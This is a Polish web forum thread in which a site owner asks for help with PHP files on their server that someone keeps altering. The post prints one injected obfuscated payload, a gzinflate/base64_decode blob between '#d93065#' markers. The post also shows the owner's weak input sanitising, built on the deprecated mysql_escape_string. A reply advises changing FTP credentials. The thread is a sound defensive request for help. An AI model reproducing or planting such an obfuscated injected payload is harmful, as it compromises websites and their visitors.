Jestem atakowany wirusem, ktoś atakuje mnie wirusem Opcje

[qpeace1]

Witam, mam spory problem z jedną stronką którą ktoś od kilku m-cy atakuje wirusami zmieniając pliki na serwerze dopisując kody, jeden z nich to:

[PHP] pobierz, plaintext 
  <?php   
#d93065#
echo(gzinflate(base64_decode("tVVNc5swEP0t5WKoBxcJ9MEo6qE59dwj44MHY2czjnGB2pNk8t+7WoFjJ9jNdCYDYlbS6u3b1RO
6acsGdt330qYxM2BjPi0NrMLdommrn9suDJJgGjBsHFsaRNZanUZd8/j8o6431WIbRkWwa+qu7h53VTCf/X4pF115F1br6rBul9Ezoh1gu6wPs2Vd/nmotl20ssUkThm4JgVIDrGGBGQCioHIQSmQOUgGCkck4JNSTwLHYe3s03klgEvQDLIMhHLOqSaDfBKIE
VQ7aAyAXtjFAQbok6KlU4i5goHPKyeVvYKgnaAvy898tXDEHRvtSKCB3TG8i4mp3EFjPNcjrphjMkIgpg
huJAdOOciMcseXA8NZfCSNujX0oqG5C5K5wIoIMDIpOiMCnIC4Q3Qxcort2WV9pBxL5adxSPrypH38tx6
KUtGs3yY/rTSlKNxXkC11nzR6Mo9LYd1L1cFKIylHVwzlEdRNnD9mJnwsX3vV148d5cEpQ9wNQpK0lB8HkBPnrtBq
pNQ4g7swutknXbeIKinyM3axviyfEWkoSgbn3To6B9xX+qJkhJcMo3WU9eihINmP6Ij5zCQJQwzHSgxay
vo9OpaUcI7SQzv7HPGdsTqVkPyHfI6n4Y2C4muIF6TlsS6p6xriqew8ir7OYJDkuPMHt+X8tA6b05/G/wB8f77HMD/+e/u8/7Yk+XOSEOGhD9LqZUDnJ3HJjxzjybxI5rN2t4EunMAkMnsbVHu83hbYNoF5wRtrH1XW31rFfm4OdmVaW
8xNY391DWzXZlU3oRFSfLFgYGpZ9HyPVmvbaVMEK8RpsNUPt/i9Wzj7tl7i7Rgeivv5VzbNkqgP82Rb4+OFT5G5+dbfx38B")));
#/d93065#
?>
[PHP] pobierz, plaintext 

wie ktoś o co chodzi i jak mogę się zabezpieczyć?


dodam, że zmienne w plikach zabezpieczyłem tak:

[PHP] pobierz, plaintext 
 $pobiez_sekcje = mysql_escape_string($_GET['id1']);
                	//jak pobrana zmienna jest liczbą - zabezpieczenie przed zmodyfikowaniem linku o jakieś niedozwolone znaki
                	if (is_numeric($pobiez_sekcje)) {
			  				$sekcja = $pobiez_sekcje;
[PHP] pobierz, plaintext 

nie wiem co jeszcze mogę zrobić


bardzo proszę o jakiekolwiek wskazówki

[maniana]

Połączenie może zostać zapamiętane. Ja po zmianie dostępów FTP maiłem (i klient miał) już z tym spokój. Część tego typu syfu instaluje się też poprzez dziury w skryptach ale cześciej takie dziury wykorzystywane są do deface www.